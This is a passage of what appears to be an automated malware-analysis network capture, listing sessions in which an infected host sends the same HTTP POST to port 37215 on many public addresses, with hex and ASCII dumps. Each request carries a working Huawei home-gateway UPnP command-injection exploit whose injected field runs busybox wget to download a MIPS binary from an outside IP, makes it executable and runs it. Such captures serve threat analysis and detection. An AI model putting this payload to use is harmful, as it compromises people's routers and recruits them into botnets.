74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	47710	156.86.28.98	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.622850895 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	53340	197.51.79.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.623469114 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	53478	197.193.216.5	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.624142885 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	35894	41.159.247.0	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.624809027 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	42440	197.46.46.209	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.737807035 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	58708	197.45.105.194	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.850228071 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	33568	41.138.56.220	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.851063967 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	43336	156.194.120.74	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.851733923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	39014	197.207.91.198	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.852363110 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	51286	41.27.195.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.853034019 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	56126	41.250.156.227	37215

Timestamp	Bytes transferred	Direction	Data
